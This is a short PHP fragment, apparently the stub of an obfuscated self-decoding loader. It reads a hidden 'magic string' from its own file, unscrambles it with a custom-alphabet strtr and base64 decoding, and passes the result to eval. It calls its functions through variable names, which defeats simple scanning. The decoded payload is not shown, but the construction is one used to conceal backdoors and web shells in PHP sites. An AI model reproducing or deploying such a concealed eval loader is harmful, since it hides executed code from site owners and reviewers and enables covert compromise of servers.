$part3 = ereg_replace(
  '__FILE__',
  "'".$filename."'",
  $base64_decode(
    $strtr(
      $fread($thisfile, $count), // second part of magic string
      'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    )
  )
);
fclose($thisfile);
eval($part3);